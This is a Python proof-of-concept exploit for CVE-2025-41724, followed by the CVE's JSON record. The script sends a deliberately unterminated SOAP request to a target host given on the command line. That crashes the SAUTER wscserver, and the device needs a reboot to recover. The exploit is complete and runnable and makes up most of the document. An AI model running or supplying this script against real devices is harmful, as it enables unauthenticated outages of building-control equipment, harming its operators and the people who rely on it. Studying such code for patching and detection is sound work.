CVE-2025-41724

# CVE-2025-41724 PoC - SAUTER wscserver Denial of Service # Exploits incomplete SOAP request handling to crash wscserver # The crashed process is not restarted by watchdog, requiring manual reboot import socket import sys def exploit_wscserver(target_host, target_port=80): """ Send an incomplete SOAP request to crash the wscserver. The malformed SOAP envelope lacks proper closing tags, causing the server to crash instead of returning an error. """ # Construct an incomplete SOAP request - missing closing tags # This triggers the vulnerability in wscserver's SOAP parser incomplete_soap = ( 'POST / HTTP/1.1\r\n' 'Host: ' + target_host + '\r\n' 'Content-Type: text/xml; charset=utf-8\r\n' 'SOAPAction: ""\r\n' 'Content-Length: 200\r\n' '\r\n' '<?xml version="1.0" encoding="UTF-8"?>\r\n' '<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">\r\n' ' <soap:Body>\r\n' ' <GetStatus>\r\n' # Intentionally incomplete - no closing tags ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) sock.sendall(incomplete_soap.encode('utf-8')) sock.close() print(f"[+] Incomplete SOAP request sent to {target_host}:{target_port}") print("[+] wscserver should now be crashed") print("[!] Device reboot required to restore service") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_host> [target_port]") sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_wscserver(host, port)

{"cve": {"id": "CVE-2025-41724", "sourceIdentifier": "[email protected]", "published": "2025-10-22T07:15:33.983", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unauthenticated remote attacker can crash the wscserver by sending incomplete SOAP requests. The wscserver process will not be restarted by a watchdog and a device reboot is necessary to make it work again."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-239"}]}], "references": [{"url": "https://sauter.csaf-tp.certvde.com/.well-known/csaf/white/2025/vde-2025-060.json", "source": "[email protected]"}]}}